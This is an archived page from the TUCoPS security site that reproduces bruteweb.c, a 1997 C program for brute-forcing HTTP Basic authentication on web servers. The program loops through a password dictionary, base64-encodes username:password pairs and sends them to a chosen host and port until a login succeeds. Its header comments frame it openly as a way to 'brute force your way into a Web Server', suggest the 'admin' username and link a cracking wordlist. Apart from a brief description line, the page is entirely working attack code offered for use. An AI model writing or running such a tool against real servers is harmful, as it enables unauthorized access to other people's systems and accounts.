TUCoPS :: Password Security :: bruteweb.c

Brute_web Brute_web allows for the testing of passwords for simple authentication on web servers. By supplying a host and a dictionary file, the program will try to brute force the username and password on the webserver, and return the successful password when found.

/*
 *
 *
 *   Brute Force your way into a Web Server.
 *   -Works best on computers in the same subnet :-)
 *   Coded by BeastMaster V on April 24, 1997.
 *   Email questions or comments to:
 *          bryan@scott.net
 *
 *   In order to use this:
 *   1) Get a dictionary file.
 *      http://www.rootshell.com/hacking/crack_dict.txt.gz
 *   2) Compile this program, and run it. The arguments are-
 *      username dictfile hostname port
 *         << most websites have 'admin' as a user >>
 *   3) Wait for user name and password to appear.
 *
 *   NOTE: If you want to see the webserver's response,
 *   define VERBOSE when compiling.
 *
 *   WARNING: If the webserver logs, it will
 *   be obvious that you are attacking!
 *
 *   DISCLAIMER: Please use this program in a
 *   responsible manner.
 *
 */

#include <errno.h>
#include <signal.h>
#include <stdio.h>
#include <string.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/time.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <termio.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/errno.h>

extern int errno;

/* Change this to whatever document you want to get off the web server */
#define DEFAULT_DOCUMENT "/"

char alphabet[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
                  "0123456789+/";

unsigned char buf_64[512];
unsigned short socket_timeout=20;
char line[2048];

enum TOKENTYPE { NONE, BLANKS, PUNCT, TAG, NAME, CONTENT };

struct TOKEN {
                char *text;
                int  length;
                int  index;
                enum TOKENTYPE type;
             };

struct BASE64_PARAMS {
                        unsigned long int accum;
                        int               shift;
                        int               save_shift;
                     };

int read_dict_file ( char *buff, FILE *f )
{
int b, i;
*buff = 0;
do {
        while ((b = fgetc(f)) != EOF && (b == ' ' || b == '\t' || b == '\n' || b == '\r'));
        if ( b == EOF ) return(0);
        for ( i = 0; b != EOF && b != '\n' && b != '\r'; i++ )
        {
            buff[i] = (b == '\t') ? ' ': b;
            b = fgetc(f);
        }
        buff[i] = 0;
   }
   while (*buff == '#');

   return(1);
}

void    (*
r_signal(sig, func, fd_socket, fd_accept)) (int)
int     sig;
void    (*func) ();
int fd_socket;
int fd_accept;
{
        struct sigaction act, oact;

        act.sa_handler = func;

        sigemptyset(&act.sa_mask);
        act.sa_flags = 0;
#ifdef SA_RESTART
        act.sa_flags |= SA_RESTART;
#endif

        if (sigaction(sig, &act, &oact) < 0)
                return (SIG_ERR);

        return (oact.sa_handler);
}


/* Read 'n' bytes from a descriptor  */
int readn(fd, ptr, nbytes)
register int fd;
register char *ptr;
register int nbytes;
{
        int nleft, nread;

        nleft=nbytes;
        while(nleft > 0) {
                nread=read(fd,ptr,nleft);
                if (nread<0)
                        return(nread);
                else if (nread==0)
                        break;

                nleft -=nread;
                ptr +=nread;
        }
        return(nbytes-nleft);
}

/* Write 'n' bytes to a descriptor */
int writen(fd, ptr, nbytes)
register int fd;
register char *ptr;
register int nbytes;
{
        int nleft, nwritten;

        nleft=nbytes;
        while(nleft > 0) {
                nwritten=write(fd, ptr, nleft);
                if(nwritten <= 0)
                        return(nwritten);

                nleft -= nwritten;
                ptr += nwritten;
        }
        return(nbytes-nleft);
}

char * dateTime()
{
        time_t t;
        char * s;

        time(&t);
        s = (char *)ctime((const time_t *)&t);
        s[24] = '\0';
        return s;
}

void handle_SIGSEGV (void)
{
        fprintf(stderr, "\nSegmentation Violation! [%s]\n", dateTime());
        exit(1);
}

void handle_SIGINT (void)
{
        fprintf(stderr, "\nSignal Interrupt! [%s]\n", dateTime());
        exit(1);
}


void sendln(int s, char buf[1024]) {
    writen(s, buf, strlen(buf), 0);
}

int readln(int s)
{
        int i,done=0,w, result;
        char tmp[1];
        struct timeval timeout;
        fd_set inputs;

        sprintf(line,"");
        i = 0;

        while (!done) {
                FD_ZERO(&inputs);
                FD_SET(s, &inputs);
                timeout.tv_sec = socket_timeout;
                timeout.tv_usec = 0;

                result = select(FD_SETSIZE, &inputs,(fd_set *)0, (fd_set *)0,
                                                                &timeout);
                switch(result) {
                case 0:
                        printf("\n\nSocket Timeout\n");
                        exit(1);
                        break;
                case -1:
                        perror("select");
                        exit(1);
                        break;
                default:
                        w=readn(s ,tmp, 1);
                        break;
                }
                if (w==0)  return 0;
                if (tmp[0] != 0) {
                        line[i] = tmp[0];
                }
                if (line[i] == '\n') {
                        done = 1;
                }
                i++;
        }
        line[i] = 0;
        return (i);
}

/* Code to call out on a socket */
int call_socket(hostname, portnum)
char *hostname;
u_short portnum;
{
        struct sockaddr_in sa;
        struct hostent *hp;
        int a, s, foo=1;

        if ((hp= gethostbyname(hostname)) == NULL) { /* do we know the host's */
                errno= ECONNREFUSED; /* address? */
                return(-1); /* no */
        }

        bzero(&sa,sizeof(sa));
        bcopy(hp->h_addr,(char *)&sa.sin_addr,hp->h_length); /* set address */
        sa.sin_family= hp->h_addrtype;
        sa.sin_port= htons((u_short)portnum);

        if ((s= socket(hp->h_addrtype,SOCK_STREAM,0)) < 0) /* get socket */
                return(-1);

#ifdef SOCKET_OPTS
        /* set socket options so we can try multiple connects */
        if (setsockopt(s, SOL_SOCKET, SO_REUSEADDR, (char *)&foo, sizeof(foo)) ==-1) {
                fprintf(stderr, "Error setting SO_REUSEADDR socket option in call_socket!\n");
                fflush((FILE *)stderr);
                exit(1);
        }
#endif

        if (connect(s,(struct sockaddr *)&sa,sizeof sa) < 0) { /* connect */
        perror("connect failed");
        exit(1);
    }

        return(s);
}

int base64_encode( int quit, struct BASE64_PARAMS *e_p,
                   char *string_to_encode )
{
   int index;
   unsigned long int value;
   unsigned char blivit;
   int z=0;

   index = 0;
   while ( ( *(string_to_encode+z) ) || (e_p->shift != 0) )
   {
      if ( ( *(string_to_encode+z) ) && ( quit == 0 ) )
      {
         blivit = *(string_to_encode +z);
     z++;

         if ( *(string_to_encode+z)==0 )
         {
            quit = 1;
            e_p->save_shift = e_p->shift;
            blivit = 0;
         }
      }
      else
      {
         quit = 1;
         e_p->save_shift = e_p->shift;
         blivit = 0;
      }

      if ( (quit == 0) || (e_p->shift != 0) )
      {
         value = (unsigned long)blivit;
         e_p->accum <<= 8;
         e_p->shift += 8;
         e_p->accum |= value;
      } /* ENDIF */

      while ( e_p->shift >= 6 )
      {
         e_p->shift -= 6;
         value = (e_p->accum >> e_p->shift) & 0x3Fl;
         blivit = alphabet[value];

         buf_64[index++] = blivit;
         if ( index >= 60 )
         {
            buf_64[index] = '\0';
            /* printf( "%s\n", buf_64 ); */
            index = 0;
         }

         if ( quit != 0 )
         {
            e_p->shift = 0;
         }
      }
   }

   if      ( e_p->save_shift == 2 )
   {
      buf_64[index++] = '=';
      if ( index >= 60 )
      {
         buf_64[index] = '\0';
         /* printf( "%s\n", buf_64 ); */
         index = 0;
      }

      buf_64[index++] = '=';
      if ( index >= 60 )
      {
         buf_64[index] = '\0';
         /* printf(  "%s\n", buf_64 ); */
         index = 0;
      }
   }
   else if ( e_p->save_shift == 4 )
   {
      buf_64[index++] = '=';
      if ( index >= 60 )
      {
         buf_64[index] = '\0';
         /* printf( "%s\n", buf_64 ); */
         index = 0;
      }
   }

   if ( index != 0 )
   {
      /* buf_64[index-1]='='; */
      buf_64[index] = '\0';
      /* printf( "%s\n", buf_64 ); */
   }

   return quit;
}

void encode_string (char *namepass)
{
  struct BASE64_PARAMS e_p;
  int quit=0;
  register int i;
  char * some;

  e_p.shift = 0;
  e_p.accum = 0;

  some=(char *)malloc(256);

  /* Nasty hack (forgive the lame coding...) */
  some = (char *)namepass;
  for (i=0;*(some+i);i++);
  *(some+i)=*(some+i-1);
  *(some+i+1)='\0';

  base64_encode(quit, &e_p, (char *)some);
}


void sorry (void)
{
                printf("\nSorry, but I could not get in.\n");
                printf("There are two reasons why:\n");
                printf("1) The user (argv[1]) does not exist on the webserver.\n");
                printf("2) The user exists, but his/her passwd was not in your dict_file.\n");
                printf("Have a Nice Day. :-)\n\n");
                exit(0);
}

void usage(char *prog_name)
{
    printf("\nUsage: ");
    printf("[%s] username dictfile hostname port\n", prog_name);
    printf("\n");
    exit(0);
}

int main ( argc, argv )
unsigned int argc;
char **argv;
{

   FILE * dict_fd=NULL;
   struct hostent *hp;
   unsigned short web_port=0;
   int sock_fd=0;
   char * dict_word=NULL;
   char export_buff[1024];
   char * encoded_buffer=NULL;
   unsigned short finish_flag=1, success=0;
   int foo;

    if ( argc !=5 )
        usage(argv[0]);

    r_signal(SIGSEGV, handle_SIGSEGV);
    r_signal(SIGINT, handle_SIGINT);

    dict_word= (char *)malloc (256);

    if ((dict_fd=fopen(argv[2], "r"))==NULL ) {
        fprintf(stderr, "\nCould not open dictionary file: [%s]\n%s\n\n",
        argv[2], strerror(errno));
        exit(1);
    }

    if ((hp=(struct hostent *)gethostbyname((char *)argv[3])) == NULL) {
        fprintf(stderr, "\nCould not resolve hostname: [%s]\n\n", argv[3]);
        exit(1);
    }

    web_port = atoi(argv[4]);

    encoded_buffer=(char *)malloc(512);

    while (read_dict_file(dict_word, dict_fd)) {
        if ((sock_fd=call_socket(argv[3], web_port))==-1) {
            perror("socket connection");
            exit(1);
        }

#ifndef SOLARIS
                if ((foo=ioctl(sock_fd, FIONBIO , 1))==-1) {
                     perror("ioctl");
                     exit(1);
                }
#else
        if ((foo=fcntl(sock_fd, O_NDELAY, 1)) <0) {
             perror("ioctl");
             exit(1);
        }

#endif
        sprintf(export_buff, "GET / HTTP/1.0\n");
        sendln(sock_fd, export_buff);

        sprintf(encoded_buffer, "%s:%s", argv[1], dict_word);
        encode_string(encoded_buffer);
        sprintf(export_buff, "Authorization: Basic %s\n\n", buf_64);
        sendln(sock_fd, export_buff);

        memset(line, '\0', sizeof(line));
        while( readln(sock_fd)) {

#ifdef VERBOSE
        printf("%s", line);
        fflush((FILE *)stdout);
#endif

                /* Change this to a more sophisticated test. */
            /* This test is pretty lame, but works for */
                /* all practical purposes. */
        if (strstr(line, "nauthorized"))
            finish_flag=0;
        }

        if (finish_flag) {
            close(sock_fd);
            finish_flag=1;
            success=1;
            break;
        }

        finish_flag=1;
        close(sock_fd);

    }

    fclose(dict_fd);
    if (!success)
        sorry();
    else {
        printf("\n\nThe UserName is: %s\n", argv[1]);
        printf("The Password is: %s\n", dict_word);
        printf("\n\n\n ---- Coded by BeastMaster V ----\n");
        exit(0);
    }

}


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH